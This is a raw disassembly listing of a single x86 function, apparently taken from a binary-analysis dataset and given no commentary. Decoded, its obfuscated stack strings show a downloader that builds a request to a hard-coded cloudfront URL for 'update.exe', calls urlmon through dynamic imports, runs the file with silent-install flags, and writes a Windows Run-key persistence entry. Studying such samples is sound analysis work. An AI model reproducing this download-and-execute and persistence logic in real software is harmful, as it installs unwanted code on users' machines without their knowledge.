Function at 0x405d26
Capabilities:
Create directory

Disassembly:
push 0x2f4
mov eax, 0x41b048
call fcn.00419e57
lea ecx, [ebp - 0x23c]
xor ebx, ebx
call fcn.00407a11
push ecx
mov dword [ebp - 4], ebx
mov esi, esp
mov dword [ebp - 0x224], esi
mov ecx, dword [ebp - 0x23c]
lea ecx, [ecx - 0x10]
call fcn.00402bca
add eax, 0x10
lea ecx, [ebp - 0x234]
mov dword [esi], eax
call fcn.00408d24
pop ecx
mov esi, 0x4220f8
mov byte [ebp - 4], 1
mov ecx, esi
call fcn.00402d73
push eax
push esi
lea ecx, [ebp - 0x234]
call fcn.00402e59
call fcn.004013d0
push eax
lea ecx, [ebp - 0x230]
call fcn.00402ac9
mov byte [ebp - 4], 2
mov edi, ebx
inc edi
mov dword [ebp - 0x22c], edi
call fcn.004013d0
push eax
lea ecx, [ebp - 0x228]
call fcn.00402ac9
push edi
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 3
push 0x4220f0
push eax
call fcn.004075ff
add esp, 0xc
lea eax, [ebp - 0x234]
lea ecx, [ebp - 0x230]
push eax
call fcn.00407505
push 0x49
pop eax
mov word [ebp - 0x18], ax
lea ecx, [ebp - 0x18]
push 0x4e
pop eax
mov word [ebp - 0x16], ax
push 0x4a
pop eax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
call fcn.00402d73
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x230]
call fcn.00402e59
mov esi, dword [ebp - 0x228]
push 3
pop eax
mov dword [ebp - 0x224], ebx
sub eax, dword [esi - 0xc]
test eax, eax
jle 0x405e5b
mov edi, ebx
mov ecx, 0x422010
call fcn.00402d73
push eax
push 0x422010
lea ecx, [ebp - 0x230]
call fcn.00402e59
push 3
pop eax
sub eax, dword [esi - 0xc]
inc edi
cmp edi, eax
jl 0x405e2f
mov edi, dword [ebp - 0x22c]
push dword [esi - 0xc]
lea ecx, [ebp - 0x230]
push esi
call fcn.00402e59
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 2
call fcn.00402aae
mov esi, dword [ebp - 0x230]
cmp edi, 0x3e8
jge 0x405eb1
push ecx
mov edi, esp
lea ecx, [esi - 0x10]
mov dword [ebp - 0x224], edi
call fcn.00402bca
add eax, 0x10
mov dword [edi], eax
call fcn.00408dbb
mov edi, dword [ebp - 0x22c]
pop ecx
test eax, eax
jne 0x405da1
lea ecx, [esi - 0x10]
call fcn.00402bca
add eax, 0x10
mov dword [ebp - 0x228], eax
mov byte [ebp - 4], 4
cmp dword [eax - 4], 1
jle 0x405ee0
push dword [eax - 0xc]
lea ecx, [ebp - 0x228]
call fcn.00402f75
mov eax, dword [ebp - 0x228]
push eax
call fcn.0040f79f
pop ecx
lea ecx, [ebp - 0x228]
mov byte [ebp - 4], 2
call fcn.00402aae
push 0x5c
pop eax
push 0x45
mov word [ebp - 0x48], ax
pop eax
push 0x78
mov word [ebp - 0x46], ax
pop eax
push 0x74
pop ecx
push 0x65
mov word [ebp - 0x42], cx
pop ecx
push 0x6e
pop edx
push 0x73
pop esi
push 0x69
mov word [ebp - 0x3c], si
pop esi
push 0x6f
mov word [ebp - 0x3a], si
pop esi
push 0x55
pop edi
push 0x70
mov word [ebp - 0x34], di
pop edi
push 0x64
mov word [ebp - 0x32], di
pop edi
push 0x61
mov word [ebp - 0x30], di
pop edi
push 0x74
mov word [ebp - 0x44], ax
mov word [ebp - 0x24], ax
xor eax, eax
mov word [ebp - 0x2e], di
pop edi
push 0x2e
mov word [ebp - 0x20], ax
mov word [ebp - 0x2c], di
pop edi
push 0x3f
pop eax
push 0x72
mov word [ebp - 0x5c], ax
pop eax
push 0x61
mov word [ebp - 0x5a], ax
pop eax
push 0x64
mov word [ebp - 0x58], ax
pop eax
push 0x6d
mov word [ebp - 0x38], si
mov word [ebp - 0x52], si
pop esi
mov word [ebp - 0x54], ax
push 0x3d
pop eax
mov word [ebp - 0x4e], ax
xor eax, eax
mov word [ebp - 0x4c], ax
lea eax, [ebp - 0x48]
mov word [ebp - 0x40], cx
mov word [ebp - 0x3e], dx
mov word [ebp - 0x36], dx
mov word [ebp - 0x2a], cx
mov word [ebp - 0x28], di
mov word [ebp - 0x26], cx
mov word [ebp - 0x22], cx
mov word [ebp - 0x56], dx
mov word [ebp - 0x50], si
push eax
lea edx, [ebp - 0x230]
lea ecx, [ebp - 0x224]
call fcn.004074ab
pop ecx
push eax
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 5
call fcn.00407505
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 2
call fcn.00402aae
push str.http:__d2jyemxz9do7ad.cloudfront.net_shopperzprt_12_update.exe
lea ecx, [ebp - 0x238]
call fcn.00402a03
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 6
call fcn.00402d73
push eax
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x238]
call fcn.00402e59
lea ecx, [ebp - 0x224]
call fcn.004077fb
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x238]
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.00402e59
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 6
call fcn.00402aae
push 0x55
pop ecx
push 0x72
pop eax
push 0x6c
mov word [ebp - 0x74], cx
pop ecx
push 0x6f
mov word [ebp - 0x72], ax
pop eax
push 0x6e
mov word [ebp - 0x6c], ax
pop eax
mov word [ebp - 0x6a], ax
push 0x64
pop eax
mov word [ebp - 0x66], ax
xor eax, eax
mov word [ebp - 0x60], ax
lea eax, [ebp - 0x74]
push eax
mov word [ebp - 0x70], cx
mov word [ebp - 0x6e], si
mov word [ebp - 0x68], di
mov word [ebp - 0x64], cx
mov word [ebp - 0x62], cx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x406e03
movaps xmm0, xmmword [0x422190]
push 0x65
pop ecx
push 0x57
pop eax
mov byte [ebp - 0x20f], al
lea eax, [ebp - 0x220]
push eax
push esi
movups xmmword [ebp - 0x220], xmm0
mov byte [ebp - 0x210], cl
mov byte [ebp - 0x20e], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push dword [ebp - 0x234]
push dword [ebp - 0x238]
push ebx
call eax
test eax, eax
js 0x406dfc
push 0x53
pop eax
push 0x6f
mov word [ebp - 0x124], ax
pop eax
push 0x66
pop edx
push 0x74
mov word [ebp - 0x122], ax
pop eax
push 0x77
pop ecx
push 0x61
mov word [ebp - 0x11e], ax
pop eax
push 0x72
pop edi
push 0x65
mov word [ebp - 0x11a], ax
pop eax
push 0x5c
mov word [ebp - 0x116], ax
pop eax
push 0x4d
mov word [ebp - 0x114], ax
mov word [ebp - 0x112], ax
pop eax
push 0x69
mov word [ebp - 0x110], ax
pop eax
push 0x63
mov word [ebp - 0x10e], ax
pop eax
push 0x6f
mov word [ebp - 0x10c], ax
pop eax
push 0x73
mov word [ebp - 0x118], di
mov word [ebp - 0x10a], di
pop edi
push 0x74
mov word [ebp - 0x120], dx
mov word [ebp - 0x102], dx
pop edx
push 0x5c
mov word [ebp - 0x100], dx
pop edx
push 0x57
mov word [ebp - 0xfe], dx
mov word [ebp - 0xfc], dx
pop edx
push 0x69
mov word [ebp - 0xfa], dx
pop edx
push 0x6e
mov word [ebp - 0x106], di
pop edi
push 0x64
mov word [ebp - 0xf8], dx
pop edx
push 0x73
mov word [ebp - 0x108], ax
mov word [ebp - 0x104], ax
mov word [ebp - 0xf2], ax
pop eax
push 0x5c
mov word [ebp - 0xee], ax
pop eax
push 0x43
mov word [ebp - 0xec], ax
mov word [ebp - 0xea], ax
pop eax
push 0x75
mov word [ebp - 0xe8], ax
pop eax
mov word [ebp - 0x11c], cx
mov word [ebp - 0xf6], di
mov word [ebp - 0xf4], dx
mov word [ebp - 0xf0], cx
mov word [ebp - 0xe6], ax
push 0x72
pop edx
push 0x65
mov word [ebp - 0xe4], dx
mov word [ebp - 0xe2], dx
pop edx
push 0x74
mov word [ebp - 0xde], di
pop edi
push 0x56
mov word [ebp - 0xdc], di
pop edi
push 0x72
mov word [ebp - 0xe0], dx
mov word [ebp - 0xd8], dx
pop edx
push 0x73
mov word [ebp - 0xda], di
pop edi
push 0x69
mov word [ebp - 0xd6], dx
pop edx
push 0x6f
mov word [ebp - 0xd4], di
pop edi
push 0x6e
mov word [ebp - 0xd2], dx
pop edx
push 0x5c
mov word [ebp - 0xc6], ax
mov word [ebp - 0xce], dx
pop edx
push 0x52
mov word [ebp - 0xcc], dx
mov word [ebp - 0xca], dx
pop edx
push 0x6e
pop eax
push 0x53
mov word [ebp - 0xc4], ax
xor eax, eax
mov word [ebp - 0xc2], ax
pop eax
push 0x66
mov word [ebp - 0x20c], ax
pop eax
push 0x74
mov word [ebp - 0x208], ax
pop eax
push 0x61
mov word [ebp - 0x206], ax
pop eax
push 0x72
mov word [ebp - 0x202], ax
pop eax
push 0x65
mov word [ebp - 0x200], ax
pop eax
push 0x5c
mov word [ebp - 0x1fe], ax
pop eax
push 0x4d
mov word [ebp - 0x1fc], ax
mov word [ebp - 0x1fa], ax
pop eax
push 0x69
mov word [ebp - 0x1f8], ax
pop eax
push 0x63
mov word [ebp - 0x1f6], ax
pop eax
push 0x72
mov word [ebp - 0x1f4], ax
pop eax
push 0x73
mov word [ebp - 0x1f2], ax
mov word [ebp - 0xd0], di
mov word [ebp - 0xc8], dx
mov word [ebp - 0x20a], di
mov word [ebp - 0x204], cx
mov word [ebp - 0x1f0], di
pop eax
push 0x66
mov word [ebp - 0x1ee], ax
pop eax
push 0x74
mov word [ebp - 0x1ea], ax
pop eax
push 0x5c
mov word [ebp - 0x1e8], ax
pop eax
push 0x57
mov word [ebp - 0x1e6], ax
mov word [ebp - 0x1e4], ax
pop eax
push 0x69
mov word [ebp - 0x1e2], ax
pop eax
push 0x6e
mov word [ebp - 0x1e0], ax
pop eax
push 0x64
mov word [ebp - 0x1de], ax
pop eax
push 0x73
mov word [ebp - 0x1dc], ax
pop eax
push 0x5c
mov word [ebp - 0x1d6], ax
pop eax
push 0x43
mov word [ebp - 0x1d4], ax
mov word [ebp - 0x1d2], ax
pop eax
push 0x75
mov word [ebp - 0x1d8], cx
mov word [ebp - 0x1d0], ax
pop eax
push 0x72
pop ecx
push 0x65
mov word [ebp - 0x1cc], cx
mov word [ebp - 0x1ca], cx
pop ecx
push 0x6e
mov word [ebp - 0x1ec], di
mov word [ebp - 0x1da], di
pop edi
push 0x74
mov word [ebp - 0x1c6], di
pop edi
push 0x56
mov word [ebp - 0x1c8], cx
mov word [ebp - 0x1c0], cx
mov word [ebp - 0x1c4], di
pop edi
push 0x72
pop ecx
push 0x73
mov word [ebp - 0x1be], cx
pop ecx
push 0x69
mov word [ebp - 0x1bc], cx
pop ecx
push 0x6f
mov word [ebp - 0x1ba], cx
pop ecx
push 0x6e
mov word [ebp - 0x1b8], cx
pop ecx
push 0x5c
mov word [ebp - 0x1b6], cx
pop ecx
push 0x6e
mov word [ebp - 0x1ce], ax
mov word [ebp - 0x1ae], ax
pop eax
mov word [ebp - 0x1c2], di
mov word [ebp - 0x1b4], cx
mov word [ebp - 0x1b2], cx
mov word [ebp - 0x1b0], dx
mov word [ebp - 0x1ac], ax
push 0x4f
pop ecx
push 0x63
mov word [ebp - 0x1a8], ax
pop eax
push 0x65
mov word [ebp - 0x1a6], ax
pop eax
push 0x20
mov word [ebp - 0x1a4], ax
xor eax, eax
mov word [ebp - 0x1a2], ax
pop eax
push 0x2f
pop edx
push 0x45
mov word [ebp - 0x300], ax
mov word [ebp - 0x2fc], di
pop edi
push 0x52
pop eax
push 0x59
mov word [ebp - 0x2f8], ax
pop eax
push 0x53
mov word [ebp - 0x2f6], ax
pop eax
push 0x49
mov word [ebp - 0x2f4], ax
pop eax
push 0x4c
mov word [ebp - 0x2f2], ax
pop eax
push 0x4e
mov word [ebp - 0x2f0], ax
pop eax
push 0x54
mov word [ebp - 0x2ec], ax
mov word [ebp - 0x2fa], di
mov word [ebp - 0x2ee], di
pop edi
push 0x20
pop eax
push 0x53
mov word [ebp - 0x2e8], ax
pop eax
push 0x55
mov word [ebp - 0x2e4], ax
pop eax
push 0x50
mov word [ebp - 0x2e2], ax
pop eax
push 0x52
mov word [ebp - 0x2e0], ax
mov word [ebp - 0x2de], ax
pop eax
push 0x45
mov word [ebp - 0x2dc], ax
pop eax
push 0x53
mov word [ebp - 0x2da], ax
pop eax
push 0x4d
mov word [ebp - 0x2d8], ax
mov word [ebp - 0x2d6], ax
pop eax
push 0x53
mov word [ebp - 0x2d4], ax
pop eax
push 0x47
mov word [ebp - 0x2d2], ax
pop eax
push 0x42
mov word [ebp - 0x2d0], ax
pop eax
mov word [ebp - 0x1aa], cx
mov word [ebp - 0x2fe], dx
mov word [ebp - 0x2ea], di
mov word [ebp - 0x2e6], dx
mov word [ebp - 0x2ce], ax
mov word [ebp - 0x2cc], cx
push 0x58
pop eax
push 0x45
mov word [ebp - 0x2ca], ax
pop eax
push 0x53
mov word [ebp - 0x2c8], ax
pop eax
push 0x20
mov word [ebp - 0x2c6], ax
pop eax
push 0x4e
mov word [ebp - 0x2c4], ax
pop eax
push 0x52
mov word [ebp - 0x2c0], ax
pop eax
push 0x45
mov word [ebp - 0x2be], cx
pop ecx
push 0x53
mov word [ebp - 0x2bc], ax
mov word [ebp - 0x2ba], cx
pop ecx
push 0x41
mov word [ebp - 0x2b2], ax
mov word [ebp - 0x2b8], cx
pop ecx
push 0x20
pop eax
push 0x53
mov word [ebp - 0x2ae], ax
pop eax
push 0x20
mov word [ebp - 0x2aa], ax
pop eax
push 0x55
mov word [ebp - 0x2a8], ax
pop eax
push 0x50
mov word [ebp - 0x2a4], ax
pop eax
push 0x44
mov word [ebp - 0x2a2], ax
pop eax
push 0x45
mov word [ebp - 0x2a0], ax
pop eax
push 0x76
mov word [ebp - 0x29a], ax
xor eax, eax
mov word [ebp - 0x2b4], cx
mov word [ebp - 0x29e], cx
pop ecx
push 0x69
mov word [ebp - 0x298], ax
pop eax
push 0x62
mov word [ebp - 0x42], ax
pop eax
push 0x61
mov word [ebp - 0x40], ax
pop eax
push 0x74
mov word [ebp - 0x44], cx
pop ecx
push 0x65
mov word [ebp - 0x3e], ax
pop eax
push 0x73
mov word [ebp - 0x2c2], dx
mov word [ebp - 0x2ac], dx
mov word [ebp - 0x2a6], dx
pop edx
push 0x53
mov word [ebp - 0x38], dx
mov word [ebp - 0x2b6], di
mov word [ebp - 0x2b0], di
mov word [ebp - 0x29c], di
mov word [ebp - 0x3c], cx
mov word [ebp - 0x3a], ax
pop edx
push 0x61
mov word [ebp - 0x34], cx
pop ecx
push 0x72
mov word [ebp - 0x32], cx
pop ecx
push 0x74
mov word [ebp - 0x30], cx
pop ecx
push 0x55
mov word [ebp - 0x2e], cx
pop ecx
push 0x70
mov word [ebp - 0x2c], cx
pop ecx
push 0x64
mov word [ebp - 0x2a], cx
pop ecx
push 0x61
mov word [ebp - 0x28], cx
pop ecx
push 0x74
mov word [ebp - 0x22], ax
xor eax, eax
mov word [ebp - 0x26], cx
pop ecx
push 0x59
mov word [ebp - 0x20], ax
pop eax
push 0x45
mov word [ebp - 0xbe], ax
pop eax
push 0x4d
mov word [ebp - 0xb8], ax
pop eax
push 0x5c
mov word [ebp - 0xb6], ax
pop eax
push 0x43
mov word [ebp - 0x36], dx
mov word [ebp - 0xc0], dx
mov word [ebp - 0xbc], dx
pop edx
push 0x75
mov word [ebp - 0xb4], ax
mov word [ebp - 0xb2], ax
pop eax
push 0x72
mov word [ebp - 0x24], cx
pop ecx
push 0x65
mov word [ebp - 0xae], ax
pop eax
push 0x6e
mov word [ebp - 0xba], di
pop edi
push 0x74
mov word [ebp - 0xa8], ax
pop eax
push 0x6f
mov word [ebp - 0xb0], dx
mov word [ebp - 0xa2], dx
pop edx
push eax
mov word [ebp - 0xa0], dx
pop edx
push 0x6f
mov word [ebp - 0xa6], di
mov word [ebp - 0x9e], di
pop edi
push 0x6c
mov word [ebp - 0xac], cx
mov word [ebp - 0xaa], cx
mov word [ebp - 0x9a], cx
pop ecx
push 0x53
mov word [ebp - 0x9c], dx
mov word [ebp - 0xa4], ax
mov word [ebp - 0x98], di
mov word [ebp - 0x96], cx
pop edx
push 0x65
pop eax
push 0x74
pop ecx
push 0x5c
mov word [ebp - 0x92], ax
mov word [ebp - 0x90], cx
pop ecx
push 0x73
mov word [ebp - 0x88], ax
mov word [ebp - 0x8e], cx
mov word [ebp - 0x8c], cx
pop ecx
push 0x72
pop eax
push 0x76
mov word [ebp - 0x86], ax
mov word [ebp - 0x8a], cx
pop ecx
push 0x69
pop eax
push 0x63
mov word [ebp - 0x82], ax
pop eax
push 0x65
mov word [ebp - 0x80], ax
pop eax
push 0x73
mov word [ebp - 0x7e], ax
pop eax
push 0x5c
mov word [ebp - 0x7c], ax
pop eax
push 0x74
mov word [ebp - 0x7a], ax
mov word [ebp - 0x78], ax
xor eax, eax
mov word [ebp - 0x76], ax
pop eax
push 0x61
mov word [ebp - 0x84], cx
pop ecx
push 0x72
mov word [ebp - 0x94], dx
mov word [ebp - 0x1c], dx
pop edx
push 0x50
mov word [ebp - 0x1a], ax
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x18], cx
pop ecx
push 0x68
mov word [ebp - 0x12], ax
pop eax
push 0x61
mov word [ebp - 0x292], ax
pop eax
push 0x73
mov word [ebp - 0x28e], ax
pop eax
push 0x65
mov word [ebp - 0x16], dx
mov word [ebp - 0x290], dx
pop edx
push 0x20
mov word [ebp - 0x28c], ax
pop eax
push 0x72
mov word [ebp - 0x294], cx
mov word [ebp - 0x286], cx
pop ecx
push 0x66
mov word [ebp - 0x288], ax
pop eax
mov word [ebp - 0x28a], dx
mov word [ebp - 0x284], cx
mov word [ebp - 0x282], di
mov word [ebp - 0x280], ax
mov word [ebp - 0x27e], dx
push 0x73
pop eax
push 0x32
mov word [ebp - 0x27c], ax
mov word [ebp - 0x27a], ax
mov word [ebp - 0x278], di
pop edi
push 0x33
pop edx
push 0x31
mov word [ebp - 0x276], cx
pop ecx
push 0x30
pop eax
push 0x35
mov word [ebp - 0x26a], ax
pop eax
push 0x34
mov word [ebp - 0x266], ax
mov word [ebp - 0x260], ax
pop eax
push 0x20
mov word [ebp - 0x25e], ax
pop eax
push 0x55
mov word [ebp - 0x25c], ax
pop eax
push 0x70
mov word [ebp - 0x25a], ax
pop eax
push 0x64
mov word [ebp - 0x258], ax
pop eax
push 0x61
mov word [ebp - 0x256], ax
pop eax
push 0x74
mov word [ebp - 0x254], ax
pop eax
push 0x65
mov word [ebp - 0x252], ax
pop eax
push 0x72
mov word [ebp - 0x250], ax
pop eax
mov word [ebp - 0x24e], ax
xor eax, eax
push ecx
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x1c]
mov word [ebp - 0x270], cx
mov word [ebp - 0x268], cx
mov ecx, esp
mov dword [ebp - 0x22c], esp
push eax
mov word [ebp - 0x274], di
mov word [ebp - 0x272], dx
mov word [ebp - 0x26e], di
mov word [ebp - 0x26c], di
mov word [ebp - 0x264], di
mov word [ebp - 0x262], dx
call fcn.00402a03
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 8
push eax
lea ecx, [ebp - 0x224]
call fcn.00402a03
push ecx
mov ecx, esp
mov byte [ebp - 4], 9
push str.FF06C4B9_EC43_41E4_8BCA_C391E55BB4FD
mov edx, eax
call fcn.004074ab
pop ecx
push 3
pop edx
mov byte [ebp - 4], 0xa
call fcn.004083c3
pop ecx
pop ecx
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 6
call fcn.00402aae
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x22c], esp
mov ecx, esp
push eax
call fcn.00402a03
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x224]
call fcn.00402a03
push ecx
mov ecx, esp
mov byte [ebp - 4], 0xc
push str.csrcc
mov edx, eax
call fcn.004074ab
pop ecx
push 3
pop edx
mov byte [ebp - 4], 0xd
call fcn.004083c3
pop ecx
pop ecx
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 6
call fcn.00402aae
push ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x22c], esp
mov ecx, esp
push eax
call fcn.00402a03
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x224]
call fcn.00402a03
push ecx
mov ecx, esp
mov byte [ebp - 4], 0xf
lea edi, [ebp - 0x294]
mov edx, eax
push edi
call fcn.004074ab
pop ecx
push 3
pop edx
mov byte [ebp - 4], 0x10
call fcn.004083c3
pop ecx
pop ecx
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 6
call fcn.00402aae
push 0x50
pop eax
push 0x68
pop edi
push 0x72
pop ecx
push 0x61
mov word [ebp - 0x15c], cx
pop ecx
push 0x73
mov word [ebp - 0x15a], cx
pop ecx
mov word [ebp - 0x160], ax
mov word [ebp - 0x15e], di
mov word [ebp - 0x158], cx
push 0x65
pop edx
push 0x20
pop ecx
push 0x72
mov word [ebp - 0x152], ax
pop eax
push 0x6f
mov word [ebp - 0x154], cx
pop ecx
push 0x66
mov word [ebp - 0x150], ax
pop eax
push 0x73
mov word [ebp - 0x14c], ax
pop eax
push 0x72
mov word [ebp - 0x148], ax
mov word [ebp - 0x146], ax
pop eax
push 0x32
mov word [ebp - 0x14e], cx
mov word [ebp - 0x144], cx
pop ecx
push 0x33
mov word [ebp - 0x156], dx
mov word [ebp - 0x14a], dx
pop edx
push 0x31
mov word [ebp - 0x142], ax
pop eax
push 0x30
mov word [ebp - 0x140], cx
mov word [ebp - 0x13a], cx
mov word [ebp - 0x138], cx
pop ecx
push 0x35
mov word [ebp - 0x13c], ax
mov word [ebp - 0x134], ax
pop eax
push 0x32
mov word [ebp - 0x136], cx
pop ecx
push 0x34
mov word [ebp - 0x132], ax
mov word [ebp - 0x12c], ax
xor eax, eax
mov word [ebp - 0x13e], dx
mov word [ebp - 0x12e], dx
pop edx
push 0x50
mov word [ebp - 0x128], ax
pop eax
push 0x72
mov word [ebp - 0x130], cx
mov word [ebp - 0x19e], di
pop edi
push 0x61
pop ecx
push 0x73
mov word [ebp - 0x19a], cx
pop ecx
push 0x65
mov word [ebp - 0x198], cx
pop ecx
push 0x20
mov word [ebp - 0x196], cx
pop ecx
push 0x6f
mov word [ebp - 0x194], cx
pop ecx
push 0x66
mov word [ebp - 0x1a0], ax
mov word [ebp - 0x192], ax
pop eax
push 0x65
mov word [ebp - 0x18c], ax
mov word [ebp - 0x12a], dx
mov word [ebp - 0x19c], di
mov word [ebp - 0x190], di
mov word [ebp - 0x18e], cx
pop eax
push 0x73
mov word [ebp - 0x18a], ax
pop eax
push 0x32
mov word [ebp - 0x188], ax
mov word [ebp - 0x186], ax
pop eax
push 0x33
mov word [ebp - 0x182], di
pop edi
push 0x31
mov word [ebp - 0x180], ax
pop eax
push 0x32
mov word [ebp - 0x184], cx
pop ecx
push 0x30
mov word [ebp - 0x17a], cx
mov word [ebp - 0x178], cx
pop ecx
push 0x35
mov word [ebp - 0x17c], ax
mov word [ebp - 0x174], ax
pop eax
push 0x32
mov word [ebp - 0x176], cx
pop ecx
push 0x36
mov word [ebp - 0x172], ax
mov word [ebp - 0x16c], ax
pop eax
mov word [ebp - 0x168], ax
xor eax, eax
push ecx
mov word [ebp - 0x164], ax
lea eax, [ebp - 0x160]
mov word [ebp - 0x170], cx
mov ecx, esp
mov dword [ebp - 0x224], esp
push eax
mov word [ebp - 0x17e], di
mov word [ebp - 0x16e], di
mov word [ebp - 0x16a], dx
mov word [ebp - 0x166], dx
call fcn.00402a03
push ecx
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x11
mov ecx, esp
push eax
call fcn.00402a03
mov byte [ebp - 4], 6
call fcn.00408502
pop ecx
lea eax, [ebp - 0x1a0]
mov dword [ebp - 0x224], esp
mov ecx, esp
push eax
call fcn.00402a03
push ecx
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 0x12
mov ecx, esp
push eax
call fcn.00402a03
mov byte [ebp - 4], 6
call fcn.00408502
lea eax, [ebp - 0x300]
push eax
lea edx, [ebp - 0x234]
lea ecx, [ebp - 0x224]
call fcn.004074ab
add esp, 0xc
lea eax, [ebp - 0x44]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x228]
call fcn.00402a03
lea eax, [ebp - 0x20c]
mov byte [ebp - 4], 0x14
push eax
lea ecx, [ebp - 0x22c]
call fcn.00402a03
sub esp, 0x14
mov dword [ebp - 0x248], ebx
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x244], ebx
mov dword [ebp - 0x240], ebx
push dword [ebp - 0x22c]
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00403c23
test eax, eax
jne 0x406dce
push ecx
push dword [ebp - 0x224]
lea ecx, [ebp - 0x248]
push dword [ebp - 0x228]
call fcn.00403d3c
lea ecx, [ebp - 0x248]
call fcn.004044ce
lea ecx, [ebp - 0x248]
call fcn.004044ce
lea ecx, [ebp - 0x22c]
call fcn.00402aae
lea ecx, [ebp - 0x228]
call fcn.00402aae
lea ecx, [ebp - 0x224]
call fcn.00402aae
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x238]
call fcn.00402aae
lea ecx, [ebp - 0x230]
call fcn.00402aae
lea ecx, [ebp - 0x234]
call fcn.00402aae
lea ecx, [ebp - 0x23c]
call fcn.00402aae
mov al, bl
call fcn.00419e01
ret